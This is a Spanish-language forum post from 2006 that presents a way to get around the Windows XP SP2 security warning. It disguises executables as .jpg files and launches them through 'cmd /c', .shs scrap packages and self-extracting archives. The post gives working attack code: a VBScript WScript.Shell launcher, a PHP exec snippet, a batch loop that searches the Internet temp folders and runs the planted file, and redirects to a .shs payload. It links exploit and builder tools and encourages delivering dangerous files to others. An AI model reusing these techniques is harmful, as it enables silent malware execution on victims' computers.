Autor Tema: Nueva Vulnerabilidad Windows  (Leído 1791 veces)

Daeromon

  • Visitante
Nueva Vulnerabilidad Windows
« en: Mayo 25, 2006, 08:11:31 pm »
This program cannot be run in DOS mode
Este programa no se puede ejecutar en modo de DOS.
Microsoft Windows XP Service Pack 2 (XP SP2) introduce cambios para aumentar la seguridad de su software. Uno de los m?s notorios es el protocolo de seguridad sobre archivos con extensiones peligrosas  siendo las siguientes las m?s usadas y con mas probabilidad de ejecutar c?digo maligno en un equipo bajo Windows:  exe, scr, com, cmd, bat y pif .
AL ejecutar cualquiera de estos archivos (y muchos m?s) nos saltar? el aviso ?Abrir archivo ? Advertencia de seguridad? en la imagen se entender? con m?s detalle.

      <-- http://ramara*mynew*ws/rmrgvg.bmp  sustituir * por .

Las ventanas pueden variar, dependediendo de si el software esta firmado o  introducir peque?as explicaciones de c?mo podr?a afectar a la seguridad de XP el archivo a abrir, sin embargo todas corresponden salvando las diferencias al modelo antes mostrado.
Pero con el uso de nuestro XP y service Pack 2 (XP SP2) podemos darnos cuenta que no en todas las ocasiones salta el aviso.

En un principio no sabr?amos discernir que aplicaciones har?n saltar la seguridad y cuales no,  digamos que ?sta salta dependiendo de la procedencia del archivo , si es de creaci?n local no saltar? y si es externa s?, esta idea podr?a ser cierta pero se comprueba que al bajar muchos ejecutables de la red no piden confirmaci?n antes de iniciarlos (por supuesto sin tener en cuenta los pack debidamente firmados que WinUpdate nos baja actualizando nuestro XP), tambi?n cualquier aplicaci?n obtenida de un peer to peer puede hacer emerger la ventana, o no...
En segundo al saber que no se trata de la procedencia de los archivos, podr?amos decir que la seguridad salta solo cuando ejecutamos los archivos desde nuestro navegador (hablando de Iexplorer6 ) cuando descargamos un archivo nos da la opci?n de guardar o abrir y si le damos a abrir saltar? un aviso, la primera alarma corresponde a la seguridad del Iexplorer el cual no nos incumbe, sin embargo si dimos la opci?n de abrir cuando termine la descargar se ejecutar? pidi?ndonos su aprobaci?n, saltando de nuevo la seguridad de XP,  cierto es que al abrir un archivo desde internet este se nos guarda en temporales y cualquier archivo que tenga extensi?n peligrosa y sea ejecutado dentro de temporales har? saltar la ventana, probar esto es tan sencillo como crear un .exe vac?o es decir de 0kb, ejecutarlo en cualquier lugar y comprobar como no salta la protecci?n (a parte de el mensaje de error por no ser un exe v?lido), sin embargo al llevar ese ejecutable a temporales y ejecutarlo emerger? el aviso esto nos demuestra que importa poco el contenido del archivo al menos en temporales y que solo tiene en cuenta la extensi?n.
Otra consideraci?n a tener despu?s de desmembrar una considerable cantidad de ejecutables es la l?nea que incluyen al principio muchos de ellos ? This program cannot be run in DOS mode ? para explicar esto que mejor que lo que nos dice Microsoft ?no se puede ejecutar un programa basado en Windows desde un s?mbolo de MS-DOS del sistema.? Evidente, tal vez por el entorno gr?fico u otros menesteres ese aviso aparece cuando intentamos ejecutar archivos bajo MS-DOS, solo se da cuando al propio XP ejecuta los programas bajo la shell de DOS al iniciarlos en entorno gr?fico, ya que si abrimos un ejecutable desde la consola de DOS poniendo su nombre  no nos saltar? la susodicha ventana de que no se puede ejecutar bajo DOS ya que el DOS hace una llamada para abrir el archivo bajo windows por supuesto esto no ocurrir?a si tuvi?semos instalado MS-DOS como sistema operativo base.
Esta ?ltima explicaci?n sobre correr archivos bajo DOS nos sirve para entender como atravesar la seguridad de windows XP y como manipular la misma.
Si abrimos nuestra shell de MS-DOS y ejecutamos cualquier archivo que sabemos que cliqueado sobre el entorno gr?fico saltar?a la seguridad, vemos que pasa la ventana de aviso y comienza a ejecutarse (esto ocurre tambi?n en temporales).

Pero claro de que manera pasamos la seguridad mandando un archivo a un equipo remoto,  esto se har?a usando  comandos que corren bajo la shell de DOS, la manera de poner estos comandos a un exe es usando herramientas de instalaci?n o autoextracci?n, y si est?s creando tu el ejecutable incluir el comando Shell que inicie el archivo bajo MS-DOS. Las herramientas de instalaci?n son las que crean paquetes SFX SelF eXtracting o archivos auto-extraibles, en windows encontramos una que viene instalada por defecto el  Iexpress, iremos a inicio, ejecutar escribiremos Iexpress y pulsaremos aceptar, tras rellenar varios datos llegamos a la ventana que nos pide los pasos para la instalaci?n del paquete tanto el archivo a instalar dentro del paquete como si queremos a?adir comandos que se ejecutar?n tras la instalaci?n. El archivo que coloquemos en install program sera ejecutado bajo DOS con lo cual se saltar? la seguridad, tambi?n podemos usar otros creadores de SFX como el de winrar o winzip.

 <-- http://ramara*mynew*ws/rmrgvg11.bmp sustituir * por .
 

Ahora bien, existe un fallo al interpretar archivos en MS-DOS implementados en Windows al leer los ejecutables. Aqu? nos servir? la l?nea ? This program cannot be run in DOS mode ?, (este fallo un tanto antiguo y al que Microsoft parece no haber dado mayor importancia ya que habr?a que tener verdadera intenci?n del usuario para usarlo en su propia m?quina). Si pasamos un exe a otra extensi?n no peligrosa como jpg o bmp y lo ejecutamos bajo DOS este har? caso omiso de la extensi?n leer? la primera l?nea del programa y encontrar? ? This program cannot be run in DOS mode? con lo cual lo ejecutar? como un programa y no un archivo de imagen en Windows, salt?ndose la seguridad y enga?ando a Windows, si esto lo juntamos con el ejecutar comandos en SFX podremos crear un programa que atraviese la seguridad de XP en cualquier ordenador, antes de finalizar esta parte hay que tener en cuenta que para no tener fallos a la hora de ejecutar el Executable.jpg habr?a que forzarlo a iniciarse bajo DOS es decir cmd /c Executable.jpg, esto solo hay que  ponerlo a veces ya que por ejemplo con el iexpress autom?ticamente lo interpreta como cmd /c sin embargo usando winrar es conveniente poner cmd /c ya que sino al iniciar Executable.jpg nos abrir? el marco de XP ense?ando una imagen vac?a. No hay que olvidar poner el modificador /c, es muy importante ya que si no lo escribimos nos abrir? una ventana de MS-DOS y se detendr?.

Manipulando La seguridad de Windows XP
Llegado a este punto y tras la investigaci?n anterior, se da un paso m?s y se intentar? manipular la ventana de seguridad. Al empezar se plantean dos problemas que hacen inviable una manipulaci?n de la ventana de seguridad. El primero es, si ejecutamos un archivo con extensi?n peligrosa cliqueando sobre el nos aparece la ventana de seguridad como siempre, si ejecutamos un executable.jpg cliqueado nos abrir? el marco o el lector de im?genes predeterminado, y si abrimos executable.jpg desde MS-DOS no saltar? la ventana con lo cual no podr? ser manipulada, atendiendo ya no tanto como se har?a si no de que servir?a una manipulaci?n, nos fijaremos en otra herramienta con capacidad de ejecutar comandos el packager de Windows, esta utilidad crea paquetes shs que pueden ser  adjuntados en diversos formatos como documentos de texto de office. As? se crea un paquete y en edici?n, l?neas de comandos le introducimos Photo.jpg, se le pone cualquier icono, se copia el paquete y se pega junto a Photo.jpg en el mismo directorio se cliquea sobre el paquete shs (que suele ser Recorte.shs por defecto) y se abre la imagen con el marco de Windows intento fallido pero creamos otro paquete esta vez  forzamos a ser ejecutado bajo MS-DOS introducimos el comando con el cmd /c Photo.jpg y ya tenemos una modificaci?n.


<-- http://ramara*mynew*ws/rmrgvg1.bmp  sustituir * por .

Al ejecutar un paquete shs salta la seguridad pero la aplica a la extensi?n que hallamos escrito al final en este caso .jpg, es decir tambi?n se ejecutar?a como una imagen  de la siguiente manera  cmd /c Executable.exe .jpg esto nos reportar?a error as? que pondr?amos cmd /c executable.exe && .jpg el s?mbolo doble ampersand  nos sirve para ejecutar varios comandos en una misma l?nea. Tendr?amos dos archivos el paquete.shs y el executable.jpg ahora tenemos un problema de portabilidad ya que habr?a que zipearlos para mandar los dos archivos a la vez, esto se puede arreglar usando los SFX antes mencionados, escribiendo en instalaci?n el paquete.shs. Quedar?a crear un archivo que usara todo lo anterior pero sin necesidad de las herramientas SFX y dem?s. As? que se crea un paquete.shs que lo haga todo es decir que use los fallos descubiertos, el ?nico problema es que tiene un limite de caracteres en la l?nea solo permite poner unos 340, adem?s hay que prestar atenci?n de que se ejecutar? en consola, no es un script no es un archivo .bat con lo cual las variables no deber?n doblar %%r ser? %r, por lo dem?s se puede hacer de todo usando FOR y && , dicho esto podemos aprovechar el parecido del icono del shs con el de los archivos txt, las posibilidades son infinitas.

Explotaci?n por internet
Aun estamos ciertamente seguro al saber que se necesita una ejecuci?n voluntaria del archivo, sin embargo podemos usar la capacidad del fallo de usar archivos con extensiones no da?inas, para almacenar ejecutables con extensiones cambiadas en cualquier computadora al visitar una web, es decir guardar un ejecutable.jpg a la espera de un cmd /c.
Lo primero es introducir el ejecutable, ?sto por lo que pueda parecer es la parte m?s sencilla, cuando iniciamos un link que direcciona a un ejecutable ejemplo http://web/ejecutable.exe nos salta la ventana de protecci?n, este problema se soluciona solo ya que nuestros ejecutables ir?n con extensiones no da?inas. Si direccionamos a ejecutable.jpg, las respuestas pueden variar dependiendo del hosting pero normalmente nos aparecer? el archivo en texto plano, es decir no cargar? una imagen rota sino el contenido del ejecutable escrito, una vez hecho esto y ya visionado por el visitante, sin que salte protecci?n alguna habr? guardado una copia de nuestro ejecutable en su carpeta de temporales (hay que considerar la protecci?n habilitada por algunos hosting de guardar los archivos que no responden a su extensi?n seccionados con el c?digo incompleto con lo cual quedar? inutilizable).
La segunda parte la m?s complicada trata de ejecutar el archivo mediante cmd /c, la primera idea es utilizar un script para la ejecuci?n del mismo, pensemos en vbs.
Redireccionando a archivo.vbs salta la seguridad por tener extensi?n peligrosa as? que lo insertamos en html.

<script LANGUAGE="VBScript">
<!?
On Error Resume Next
Dim rMrGvG
Set rMrGvG = CreateObject("WScript.Shell")
rMrGvG.Run "cmd /c ejecutable.jpg"
-->
</SCRIPT>

Con esto finalizar?amos sin embargo al no ponerle ruta a ejecutable.jpg el script lo iniciara en la carpeta de temporales al azar, para saber porque se necesita una explicaci?n de las carpetas de seguridad de temporales en Windows XP.

Aclaraci?n Seguridad en Temporales de XP
 Bas?ndonos en la versi?n en espa?ol la ruta b?sica de archivos temporales en internet es C:\Documents and Settings\(nombreusuario) \Configuraci?n local\Archivos temporales de Internet.
En esta carpeta no se puede crear ni copiar ning?n archivo al menos por entorno gr?fico de Windows a su vez esta carpeta tiene una subcarpeta a  la cual debemos acceder escribiendo la ruta completa C:\Documents and Settings\(nombreusuario) \Configuraci?n local\Archivos temporales de Internet\content.ie5\ aqu? windows almacena los archivos con los que se esta interactuando dentro de unos folder que por seguridad nombra con 8caracteres al azar, ejemplo 2X3KL8ZM, de esta manera imposibilita en parte una posible localizaci?n de los archivos adem?s crea nuevas carpetas con nombres al azar para almacenar nuevos archivos(im?genes script web etc?) ni siquiera tiene porque guardar los elementos de una misma web en una misma carpeta dificultando as? m?s su interactuaci?n.

De esta forma el script no se ejecutar? en la misma carpeta que el ejecutable.jpg y no se iniciar? (decir que muchas veces el script hace referencia al escritorio como path).
Poner en el script  rMrGvG.Run "cmd /c ejecutable.jpg" introducir un path para ejecutable.jpg en temporales ser?a igualmente in?til por desconocer el nombre de la carpeta al azar, adem?s el archivo descargado suele renombrarse como ejecutable[1].jpg el n?mero puede variar dependiendo del numero de copias. Adem?s considerar la barra de seguridad del navegador bloqueadora de scripts.
Pensando en php y sabiendo que se ejecuta como local dentro del host al contrario de Js o vbs no ser? necesario introducir el archivo en la computadora visitante, al igual q vbs lo introducimos en un html.
<html>
    <head>
        <title>rMrGvG Bug</title>
    </head>
    <body>
<?php
exec('ejecutable.jpg')
?>
   </body>
</html>
A?adir ; tras .jpg)
El problema aqu? viene con la orden exec la cual debe estar permitida por el host, f?cil si el host es nuestro tambi?n pueden dar problemas el safe mode y las barras del navegador del service pack 2.

En cualquier caso de los m?todos explicados hay que tener en cuenta el host ya que presenta gran variabilidad lo mejor para testarlo es tener uno propio y configurarlo adecuadamente .



Vista la gran diversidad de ejecutar un cmd /c mediante scripts y sus problemas, volveremos a pensar en los paquetes scraps shs. Usando un archivo shs las posibilidades incrementan, adem?s podremos evitar los obst?culos antes encontrado con las carpetas de temporales de XP, en primer lugar el caso mas pr?ctico ser?a linkear a un paquete shs
Con cmd /c ejecutable.jpg sin embargo, obtenemos los mismo resultados q con un vbs o un php excepto que no salta una ventana de seguridad por linkear a un .vbs , pero saltara la del shs como alarma no siendo esta tan escandalosa como la de un exe vbs o scr?
La manera de evitar esta alarma es meterlo en un archivo comprimido, esto se debe a que los archivos comprimidos son como archivos en una carpeta fija que dejan de estar a merced de los temporales aunque la misma se cree dentro de temporales, para ver esto mejor hay que tener cualquier compresor desinstalado y usar las carpetas comprimidas de Windows por defecto, pero primero trataremos el caso de que la m?quina remota tiene un compresor instalado winrar winzip etc. EL efecto que conseguimos al abrir el recorte con un compresor y cliquearlo es que nos refiere a la imagen directamente, claro que aun quedan dos problemas el nombre del archivo cambio a ejecutable[1].jpg esto es lo de menos preparando el comando para atender a la variaci?n (aun as? estar?amos corriendo riesgo de que no sufriese esa variaci?n) y el otro problema m?s grave es el de no aparecer en la misma carpeta generada al azar Por supuesto todo esto quedaria solucionado comprimiendo ejecutable.jpg junto al archivo scraps, pero nosotros ya hemos introducido el ejecutable.jpg y queremos hacerlo sin tener el ejecutable comprimido junto al scraps . Antes de solucionar el problema  de la ubicaci?n veamos lo que sucede con las carpetas comprimidas de Windows por defecto al igual que los comprimidos, los reconoce como carpetas pero al ejecutar los archivos estos solo interact?an con lo que este dentro de la carpeta con lo cual solo se podr?a meter el archivo dentro de la carpeta. Ahora veremos la f?rmula para acabar con todos los problemas anteriores mediante programaci?n script en batch.

Un poco de programaci?n inteligente en Batch
cd %temp%
cd..
cd *internet*
cd *content*
set rmr=0
for /F "usebackq" %%r IN (`dir /b /a:d`) DO cd %%r*  
for /f "usebackq" %%r In (`findstr /m " rMrGvG " *.jpg`) do set rmrg=%%r
cmd /c %rmrg %
goto rmrgv
:ramara
set /a rmr= rmr+ 1
if %rmr% GEQ 20 exit
for /F "usebackq skip=%rmr%" %%r IN (`dir /b /a:d`) DO cd %%r*
pause
for /f "usebackq" %%r In (`findstr /m "rMrGvG" *.jpg`) do set rmrgvg=%%r
cmd /c %rmrgvg%
:rmrgv
cd..
goto ramara

Lo primero ser? llegar a las rutas de temporales en las carpetas generadas al azar, debemos pensar en los diferentes idiomas que se puede presentar un xp, para saltar esta contra usaremos las variables como %temp%  para acceder a temporales en cualquier XP debemos retroceder una carpeta para poder llegar a nuestro archivo con lo cual cd.. , la carpeta Archivos temporales de Internet puede tener diferentes nombres seg?n el XP y no podemos gastar caracteres en nuestro shs as? que usaremos los comodines * de batch de esta forma internet es internet en cualquier idioma *internet* lo mismo ocurre con la carpeta  content.ie5 desconocemos la versi?n del iexplorer con lo cual *content* , , el ?ltimo problema para averiguar el path son las carpetas con 8 caracteres al azar la cual no nos sirven los comodines ya que no conocemos ni un  solo car?cter de la carpeta usaremos un bucle for que accedera a todas las carpetas  que se encuentren dentro de content sin importar el nombre  for /F "usebackq" %%r IN (`dir /b /a:d`) DO cd %%r*  
Ya hemos solucionado el problema de la ruta ahora queda el problema del nombre, para no arriesgar a?adiendo un  [1] a los archivos, usaremos un bucle for que identificar? nuestro archivo, for /f "usebackq" %%r In (`findstr /m "rMrGvG" *.jpg`) do set rmrg=%%r, El bucle encuentra la cadena de texto que identifica nuestro archivo en este caso es rMrGvG, adem?s para asegurar m?s la certeza, buscamos que cumpla que el archivo tenga la extensi?n jpg, *.jpg, as? buscamos nuestro ejecutable.jpg antes descargado, al encontrarlo le asignamos una variable y luego lo ejecutamos con cmd /c %rmrg % los dem?s bucles son para repetir el proceso usando el contador de esta forma lo probar? por todas las carpetas hasta encontrarlo hemos puesto que busque en un m?ximo de 20 carpetas por supuesto se puede cambiar a 100 o 200, pero no suele haber mas de 20 carpetas creadas al azar.


Como se ve he dejado tres patrones a seguir los cuales pueden ser altamente modificables para llegar al mismo resultado, el resto ser?a buscar la f?rmula para realizar las dos funciones es decir automatizarla bajar el ejecutable.jpg e iniciarlo a continuaci?n 3 m?todos en js y html

Utilizando Java script
<script languaje="JavaScript">
location.href='direccion.html';
</script>

Dentro del Body
<BODY onLoad = "parent.location = ' rMrGvG.shs ">

Usando la etiqueta meta Refresh,                                                                              <META HTTP-EQUIV="Refresh" CONTENT="?;URL=../rMrGvG.shs ">


Soluci?n
Para evitar el uso de cmd /c al inicio de un ejecutable o en un paquete shs solo es necesario ir a system y copiar el cmd.exe  a otra carpeta as? cualquier archivo que quiera iniciarse por cmd /c no encontrar? el interpretador de comandos de MS-DOS y no podr? iniciarse, para usar MS-Dos solo deberemos ir a la carpeta donde se ha guardado  e iniciarlo.





Otros avatares
Conocemos la capacidad de los paquetes scrap para ser adjuntados en diferentes formatos de office, pero al ejecutarlos saltar? la primera alerta sobre archivos incrustados as? que no es un buen camino, tampoco sirve hacer cmd /c http://www./ejecutable.jpg y en todo caso cmd /c start http://www./ejecutable.jpg tampoco abrir? el archivo como texto o como por defecto tenga el host.

Exploit y Maker
Dejo un maker para crear paquetes scraps por si no usamos Windows o simplemente no tienes el packager, adem?s de un code en c++ f?cilmente modificable la explicaci?n del mismo queda facilitada dentro del c?digo mediante comentarios.

exploit
exploitLInuxx
Maker

Otros avatares
Conocemos la capacidad de los paquetes scrap para ser adjuntados en diferentes formatos de office, pero al ejecutarlos saltar? la primera alerta sobre archivos incrustados as? que no es un buen camino, tampoco sirve hacer cmd /c http://www./ejecutable.jpg y en todo caso cmd /c start http://www./ejecutable.jpg tampoco abrir? el archivo como texto o como por defecto tenga el host. Hay que descubrir las m?ltiples opciones que se ganan con este bug como mandar archivos peligrosos incluso los que cancelan los zip que contengan ejecutables solo es pararse a pensar y obtener los beneficios.



Discover and write By  rMrGvG

rMrGvG (/\t) gmail .com